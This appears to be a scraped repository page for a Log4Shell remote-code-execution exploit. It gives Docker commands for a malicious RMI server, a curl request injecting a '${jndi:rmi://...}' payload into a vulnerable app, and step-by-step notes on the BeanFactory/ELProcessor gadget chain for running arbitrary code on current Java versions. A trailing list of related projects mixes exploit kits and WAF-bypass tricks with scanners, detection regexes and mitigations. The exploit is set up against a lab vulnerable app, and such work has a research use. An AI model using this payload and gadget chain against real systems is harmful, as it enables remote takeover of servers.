$ docker build -t evil:latest . $ docker run -p 1097:1097 evil:latest //////// # vulnerable application container is also running $ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:rmi://:1097/Object}' https://github.com/drahosj/log4shell-vulnerable-app credit: https://www.veracode.com/blog/research/exploiting-jndi-injections-java /////// Actual notes: Uses the technique (BeanFactory + ELProcessor + "forceString") highlighted in https://www.veracode.com/blog/research/exploiting-jndi-injections-java. The tl;dr on that: 1. A ResourceRef overrides the normal JNDI reference behavior with a set of key=value pairs intended to populate a Bean via setters 2. Java stil lets you specify a custom factor, if that factory is in the classpath. 3. BeanFactory works with ResourceRefs to call the setters and populate the new bean. 4. the forceString directive in a ResourceRef lets you override the name of a setter from setFoo to anything you want; when assigning foo it will call that name. 5. the ELProcessor class works as a gadget, since its eval method is a valid bean setter (though named incorrectly). 6. Create a forceString rule to set "x" by calling "eval" - x doesn't even have to be a real field of ELProcessor 7. Try to set x to a string 8. BeanFactory calls ELProcessor.eval() on the string, because forceString makes eval() the setter for x 9. Execute arbitrary EL Other gadget classes probably exist. This demo only works against a patched version of the vulnerable app that hacks the gadget classes into the classpath. Note that it's not entirely unreasonable for the relevant jars to be included - any full tomcat deployment (not just spring-boot's embedded tomcat) will definitely have them. - A note on Java versions Using gadgets seems to be possible even on the most current java, and the gadgets still exist on current versions of stuff. This compiles with a slightly older JDK just to avoid problems with the "internal and proprietary" ReferenceWrapper class. Recent JDKs really complain about that a lot - easiest solution is to just stick to one that doesn't.
Log4Shell RCE exploit using a gadget class. Not dependent on an old JDK version to work.
Overview
You might also like...
LOG4J Java exploit - WAF and patches bypass tricks
🤝 Show your support - give a ⭐️ if you liked the content | SHARE on Twitter | Follow me on 🐱💻 ✂️ 🤬 LOG4J Java exploit - WAF and patches bypass tr
Contains all my research and content produced regarding the log4shell vulnerability
Objective Contains all my research and content produced regarding the log4shell vulnerability. Content Folder "analysis" Contain the information that
PCRE RegEx matching Log4Shell CVE-2021-44228 IOC in your logs
Log4Shell-Rex The following RegEx was written in an attempt to match indicators of a Log4Shell (CVE-2021-44228 and CVE-2021-45046) exploitation. If yo
LecternCrashFix - Fixes the lectern crash/exploit.
LecternCrashFix This fixes the new lectern crash/exploit. This bug is fixed on Paper build 276 and above. This is also fixed on CraftBukkit. Make sure
Fixes the log4j exploit from being sent to Minecraft clients.
⚠️ DEPRECATION ⚠️ Mojang has now released client updates, making this plugin obsolete. Make sure to fully restart your client. If you haven't already
A mitigation for CVE-2021-44228 (log4shell) that works by patching the vulnerability at runtime. (Works with any vulnerable java software, tested with java 6 and newer)
Log4jPatcher A Java Agent based mitigation for Log4j2 JNDI exploits. This agent employs 2 patches: Disabling all Lookup conversions (on supported Log4
log4j2 remote code execution or IP leakage exploit (with examples)
log4j2-exploits 2021-12-11.12-17-44.mp4 This fundamental vulnerability was reported by CVE-2018-3149 and patched by this article. (8u121 Release Notes
JVM runtime class loading protection agent.(JVM类加载保护agent)
JVM类加载监控agent,可配置黑名单,禁止恶意类加载(包括jsp webshell)
Apply class remove process from ear/war/jar/zip archive
The current program remove the class "org/apache/logging/log4j/core/lookup/JndiLookup.class" from your zip, jar, war, ear archive.
Log4shell-hunter - Scanner that scans local files for log4shell vulnerability
Log4shell-hunter - Scanner that scans local files for log4shell vulnerability. Does bytecode analysis so it does not rely on metadata. Will find vulnerable log4j even it has been self-compiled/repackaged/shaded/nested (e.g. uberjar, fatjar) and even obfuscated.
JNDI-Exploit is an exploit on Java Naming and Directory Interface (JNDI) from the deleted project fromthe user feihong on GitHub.
JNDI-Exploit JNDI-Exploit is a fork from the deleted project ftom the user feihong-cs on GitHub. To learn more about JNDI and what you can do with thi
Log4Shell Zero-Day Exploit Proof of Concept
Log4Shell Zero-Day Exploit if attacker manage to log this string ${jndi:ldap://someaddresshere/param1=value1} to log4j it somehow loads the class/java
A Basic Java Application Vulnerable to the Log4Shell RCE
This is a basic, minimal, intentionally vulnerable Java web application including a version (2.14.1) of the log4j library affected by the infamous log4shell (CVE-2021-44228) vulnerability.
Disables JNDI lookup globally using Java agent instrumentation, mitigation for Log4Shell attacks.
NoJNDI This is a simple proof of concept agent that disables JNDI lookups globally across the JVM. This is useful for mitigating the Log4Shell attack,
Huntress Log4Shell Testing Application
Huntress Log4Shell Testing Application This repo holds the source for the HTTP and LDAP servers hosted here. Both services are hosted under one Java a
Log4Shell sample vulnerable application (CVE-2021-44228)
Log4Shell sample vulnerable application (CVE-2021-44228)
CVE-2021-44228 (Log4Shell) Proof of Concept
CVE-2021-44228 (Log4Shell) Proof of Concept Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect ag
Writeup and exploit for installed app to system privilege escalation on Android 12 Beta through CVE-2021-0928
Writeup and exploit for installed app to system privilege escalation on Android 12 Beta through CVE-2021-0928, a `writeToParcel`/`createFromParcel` serialization mismatch in `OutputConfiguration`
JNDI-Exploit-Kit
JNDI-Exploit-Kit Disclaimer This is a forked modified version of the great exploitation tool created by @welk1n